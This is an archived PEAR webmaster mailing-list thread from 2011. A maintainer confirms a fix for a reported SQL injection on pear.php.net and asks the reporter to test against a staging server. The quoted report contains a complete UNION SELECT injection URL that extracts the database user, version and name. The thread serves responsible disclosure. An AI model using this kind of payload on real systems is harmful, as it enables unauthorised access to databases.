Re: [pear-webmaster] Fwd: sql injection on pecl.php.net

Hannes - Fixed in SVN.

Reporter - Thanks for reporting this one! It's really quite helpful to know
when we've dropped the ball. However, just for (my) peace of mind I don't
suppose there's any chance of encouraging you to do pen. testing on
test.pear.php.net?
That should be a safer environment to play around in, with less chance of
upsetting things if queries go haywire.


On Mon, Jun 27, 2011 at 4:48 PM, Hannes Magnusson <
[email protected]> wrote:

> Can someone please look at it?
>
>
> ---------- Forwarded message ----------
> From: mail.xek.cc <[email protected]>
> Date: Mon, Jun 27, 2011 at 07:56
> Subject: Re: sql injection on pecl.php.net
> To: Hannes Magnusson <[email protected]>
>
>
> hello. one more sql injection on yr domains :)
>
>
> http://pear.php.net/pepr/pepr-vote-show.php?id=650&handle=saltybeagle%27+and+1=0+union+select+1,2,3,4,5,concat_ws%280x3a,user%28%29,version%28%29,database%28%29%29,7,8--+1
>
>
> --
> С уважением,
>  mail.xek.cc                          mailto:[email protected]
>
> --
> PEAR Webmaster Mailing List (http://pear.php.net/)
> To unsubscribe, visit: http://www.php.net/unsub.php
>
>